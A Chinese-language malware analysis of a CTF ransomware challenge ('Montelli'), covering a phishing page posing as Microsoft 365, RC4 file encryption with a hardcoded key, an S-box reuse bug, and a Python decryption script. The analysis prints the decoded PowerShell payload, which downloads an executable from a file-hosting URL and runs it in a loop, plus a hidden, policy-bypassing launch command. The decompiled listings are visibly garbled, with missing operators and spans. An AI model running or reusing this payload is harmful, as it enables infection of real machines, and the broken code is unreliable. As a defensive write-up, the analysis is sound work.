> 技术文档 > 【病毒分析】伪造微软官网+勒索加密+支付威胁,CTF中勒索病毒解密题目真实还原!_ctf 恢复被勒索软件加密的文件

【病毒分析】伪造微软官网+勒索加密+支付威胁,CTF中勒索病毒解密题目真实还原!_ctf 恢复被勒索软件加密的文件


1.背景

该CTF挑战题目完整复现了黑客的攻击链路,攻击者通过伪造钓鱼页面引导受害者下载恶意软件。用户访问伪造的 Microsoft 365 官网后,在点击“Windows Installer (64-bit)”下载选项时,页面会自动跳转至伪造的 GitHub 项目链接,并下载加密器的恶意程序。

img

伪造Microsoft 365官网

受害者双击运行该程序后,勒索软件会访问远程服务器加载定制的hacked.png图片并当作壁纸,通过调用api遍历文件,判断文件后缀是否为.Montelli,加密完文件后创建一个被加了勒索后缀的文件,从而完成攻击链闭环。(目前该服务器已关停,无法访问该图片)

远程服务器:https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png

img

定制图片

在所有文件被添加.Montelli后缀后,会弹出的勒索提示信息告知受害者支付1337美元到黑客提供的Pi网络钱包地址 。

翻译:

噢,不!你的文件被劫持了!

亲爱的极其不幸的电脑用户,

我们很遗憾地通知你,你珍贵的文件被现存最复杂、训练有素、极其懒惰的勒索软件绑架了。但是不要害怕!你可以找回他们!

如何恢复它们?

不要害怕,我亲爱的用户,

你可以简单地在Pi网络中支付我们1337美元,我们已经为你提供了我们Pi网络钱包的地址,只要转账给我们1337,我们会给你发送你的解密密钥

发送1337$到此Pl网络地址,否则您的所有数据将被删除!!

img

2.恶意文件基础信息

2.1 加密器基本信息

文件名 office64 编译器 Microsoft Visual C/C++(19.36.34435)[LTCG/C++] 大小 300 KB 操作系统 Windows(Vista)[AMD64, 64位, Console] 架构 386 模式 64 位 类型 EXEC 字节序 LE MD5 b7da7b88697e543da7c734ff276b5fe2 SHA1 0f9429137d002162c3cf00df80ff352333a715da SHA256 09faaeeb52d5c0bdba222478e9787a5232bb88003ea42282bd7edc855a320de3

3.加密后文件分析

3.1威胁分析

病毒家族 Montelli 首次出现时间/捕获分析时间 2025/02/28 || 2025/03/7 威胁类型 勒索软件,加密病毒 加密文件扩展名 .Montelli 感染症状 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.Montelli)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 感染方式 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接 受灾影响 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

3.2 加密的测试文件

文件名

img

具体内容:

img

img

加密文件名特征:

加密文件名 = 原始文件名+Montelli,例如:sierting.txt.Montelli

加密算法:

文件加密使用rc4算法,密钥嵌入加密器中。

rc4密钥生成

KEY

FLAG{s1mpl3_3nCrYpt1on_

程序执行流程:

img

4.逆向分析

4.1加密器逆向分析

4.1.1RC4_KSA函数

根据rc4密钥初始化s数组

__int64 __fastcall sub_140002E70(unsigned __int64 a1, _QWORD *a2){  char *v3; // rbp  __int64 n256; // rsi  __int64 v6; // rdx  unsigned __int64 n0x100; // rcx  char *v8; // rax  unsigned __int64 v9; // rbx  __int64 v10; // rdx  __m128i si128; // xmm3  int n256_1; // ecx  __int64 v13; // rdx  __m128 v14; // xmm2  unsigned int n8; // ecx  __int64 n8_1; // r8  unsigned int v17; // eax  __m128i v18; // xmm0  __m128i v19; // xmm1  __m128i v20; // xmm0  __m128i v21; // xmm1  __m128i v22; // xmm0  __m128i v23; // xmm0  __m128i v24; // xmm0  __m128i v25; // xmm1  __m128i v26; // xmm1  __int64 v27; // r8  unsigned __int64 v28; // r9  _QWORD *v29; // rcx  __int64 v30; // r10  int v31; // eax  char v32; // cl  __int64 v33; // rdx  __int64 result; // rax  v3 = *(char **)(a1 + 8);  n256 = 256LL;  v6 = *(_QWORD *)a1;  n0x100 = (unsigned __int64)&v3[-*(_QWORD *)a1];  if ( n0x100 = 0x100 )      goto LABEL_8;    if ( (unsigned __int64)(*(_QWORD *)(a1 + 16) - v6)  a1 || *(_QWORD *)a1 + 255LL < a1 )  {    v14 = (__m128)_mm_load_si128((const __m128i *)&xmmword_14000D860);    n8 = 8;    n8_1 = 8LL;    do    {      n8_1 += 16LL;      v17 = n8 + 4;      v18 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 8), 0), si128), v14);      v19 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 4), 0), si128), v14);      v20 = _mm_packus_epi16(v18, v18);      v21 = _mm_packus_epi16(v19, v19);      *(_DWORD *)(v10 + n8_1 - 24) = _mm_cvtsi128_si32(_mm_packus_epi16(v20, v20));      *(_DWORD *)(v10 + n8_1 - 20) = _mm_cvtsi128_si32(_mm_packus_epi16(v21, v21));      v22 = _mm_cvtsi32_si128(n8);      n8 += 16;      v23 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(v22, 0), si128), v14);      v24 = _mm_packus_epi16(v23, v23);      v25 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(v17), 0), si128), v14);      *(_DWORD *)(n8_1 + v10 - 16) = _mm_cvtsi128_si32(_mm_packus_epi16(v24, v24));      v26 = _mm_packus_epi16(v25, v25);      *(_DWORD *)(v10 + n8_1 - 12) = _mm_cvtsi128_si32(_mm_packus_epi16(v26, v26));    }    while ( (int)(n8 - 8) < 256 );  }  else  {    v13 = 0LL;    do      *(_BYTE *)(++v13 + *(_QWORD *)a1 - 1) = n256_1++;    while ( n256_1  0xFuLL )      v29 = (_QWORD *)*a2;    v30 = *(_QWORD *)a1;    v31 = (*(_DWORD *)(a1 + 28) + *(unsigned __int8 *)(*(_QWORD *)a1 + v27) + *((unsigned __int8 *)v29 + v28 % a2[2]))        % 256;    *(_DWORD *)(a1 + 28) = v31;    ++v28;    v32 = *(_BYTE *)(v30 + v27);    v33 = v31;    result = *(unsigned __int8 *)(v31 + v30);    *(_BYTE *)(v30 + v27++) = result;    *(_BYTE *)(v33 + v30) = v32;    --n256;  }  while ( n256 );  *(_QWORD *)(a1 + 24) = 0LL;  return result;}

4.1.2RC4加密函数

根据输入的s数组对输入的数据进行加密,由于加密完成后未对S盒进行重置操作,因此会导致如下问题

加密存在BUG

在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。

// Hidden C++ exception states: #wind=3_QWORD *__fastcall sub_140003060(__int64 *a1, _QWORD *a2, char *a3){  char *v3; // r14  unsigned __int64 n0xF; // rax  char *v7; // rdi  char *v8; // rcx  char *v9; // rbp  char v10; // r9  int v11; // eax  __int64 v12; // rdx  unsigned __int8 *v13; // r8  int v14; // eax  unsigned __int8 *v15; // rdx  unsigned __int8 v16; // cl  char v17; // r9  unsigned __int64 n0xF_2; // rcx  unsigned __int64 n0xF_1; // rdx  _QWORD *v20; // rax  v3 = a3;  *(_OWORD *)a2 = 0LL;  a2[2] = 0LL;  a2[3] = 15LL;  *(_BYTE *)a2 = 0;  n0xF = *((_QWORD *)a3 + 2);  if ( n0xF > 0xF )  {    sub_140007F10(a2);    a2[2] = 0LL;    n0xF = *((_QWORD *)v3 + 2);  }  if ( *((_QWORD *)v3 + 3) = n0xF_1 )      {        sub_140008190(a2, n0xF_1, *a1, v17);      }      else      {        a2[2] = n0xF_2 + 1;        v20 = a2;        if ( n0xF_1 > 0xF )          v20 = (_QWORD *)*a2;        *((_BYTE *)v20 + n0xF_2) = v17;        *((_BYTE *)v20 + n0xF_2 + 1) = 0;      }      ++v7;    }    while ( v7 != v9 );  }  return a2;}

4.1.3壁纸替换函数

将自带的字符串解码后并执行

img

解码后结果如下,该代码的作用是在远程加载一个图片并当作壁纸

$imageUrl = \"https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png\"\\r\\n$desktopPath = [Environment]::GetFolderPath(\"Desktop\")\\r\\n$outputFile = Join-Path -Path $desktopPath -ChildPath \"hacked.png\"\\r\\nInvoke-WebRequest -Uri $imageUrl -OutFile $outputFile\\r\\nAdd-Type -TypeDefinition @\"\\r\\nusing System;\\r\\nusing System.Runtime.InteropServices;\\r\\npublic class Wallpaper {\\r\\n[DllImport(\"user32.dll\", CharSet = CharSet.Auto)]\\r\\n public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);\\r\\n public const int SPI_SETDESKWALLPAPER = 0x0014;\\r\\n public const int SPIF_UPDATEINIFILE = 0x01;\\r\\n public const int SPIF_SENDCHANGE = 0x02;\\r\\n}\\r\\n\"@\\r\\n\\r\\n[Wallpaper]::SystemParametersInfo([Wallpaper]::SPI_SETDESKWALLPAPER, 0, $outputFile, [Wallpaper]::SPIF_UPDATEINIFILE -bor [Wallpaper]::SPIF_SENDCHANGE)\\r\\n\\r\\n$executeURL = \"https://drive.usercontent.google.com/download?id=15SxZaEWsqN64G-dGDWi5C31f94CpuuZc&export=download&confirm=t&uuid=b75378f6-8f6c-4166-a88d-75319d1472fa\"\\r\\n$tempFilePath = \"$env:TEMP\\\\run.exe\"\\r\\nif (-Not (Test-Path $tempFilePath)) {\\r\\n Invoke-WebRequest -Uri $executeURL -OutFile $tempFilePath\\r\\n}\\r\\n\\r\\nwhile ($true) {\\r\\n # Start the process\\r\\n $process = Start-Process -FilePath $tempFilePath -PassThru\\r\\n \\r\\n # Wait for the process to exit\\r\\n $process.WaitForExit()\\r\\n \\r\\n # Optional delay before restarting\\r\\n Start-Sleep -Seconds 0\\r\\n}

将这个写入C:\\\\Users\\\\username\\\\dosomething.ps1

img

并执行如下poweshell指令,隐藏窗口执行上面的替换壁纸的代码

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\\\Users\\\\username\\\\dosomething.ps1

4.1.4文件遍历

调用api遍历文件

img

判断后缀是否为.Montelli

img

加密完文件后创建一个被加了勒索后缀的文件,然后写入加密内容

img

删除原文件

img

4.1.5多线程启动加密

使用多线程异步执行加密

img

5.恢复脚本制作

恢复思路如下:调用rc4算法使用密钥FLAG{s1mpl3_3nCrYpt1on_对加密文件解密。

但是由于该加密器加密存在bug:在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。因此使用密钥解密只能解密出少数几个文件,恢复代码如下

class RC4:    def __init__(self, key):        \"\"\"初始化 RC4 状态\"\"\"        self.S = list(range(256))  # 初始化 S 数组        j = 0        # 密钥调度算法 (KSA)        for i in range(256):            j = (j + self.S[i] + ord(key[i % len(key)])) % 256            self.S[i], self.S[j] = self.S[j], self.S[i]  # 交换 S[i] 和 S[j]    def decrypt(self, ciphertext):        \"\"\"解密函数\"\"\"        i = j = 0        plaintext = []        # 伪随机生成算法 (PRGA)        for byte in ciphertext:            i = (i + 1) % 256            j = (j + self.S[i]) % 256            self.S[i], self.S[j] = self.S[j], self.S[i]  # 交换 S[i] 和 S[j]            k = self.S[(self.S[i] + self.S[j]) % 256]            plaintext.append(byte ^ k)  # 异或操作        return bytes(plaintext)def rc4_decrypt_file(input_file, output_file, key):    \"\"\"解密文件\"\"\"    # 读取加密文件    with open(input_file, \"rb\") as f:        ciphertext = f.read()    # 初始化 RC4    rc4 = RC4(key)    # 解密数据    plaintext = rc4.decrypt(ciphertext)    # 写入解密后的文件    with open(output_file, \"wb\") as f:        f.write(plaintext)# 示例用法key = \"FLAG{s1mpl3_3nCrYpt1on_\"input_file = \"\"  # 加密文件路径output_file = \"\"  # 解密文件路径rc4_decrypt_file(input_file, output_file, key)print(f\"文件已解密,保存到 {output_file}\")

6.病毒分析概览

本案例中,Montelli勒索软件因硬编码密钥暴露(FLAG{s1mpl3_3nCrYpt1on_)导致可以对被加密文件进行解密,但是由于RC4加密实现缺陷(S盒单次初始化+状态污染)导致加密漏洞,结合其只能解密小部分文件。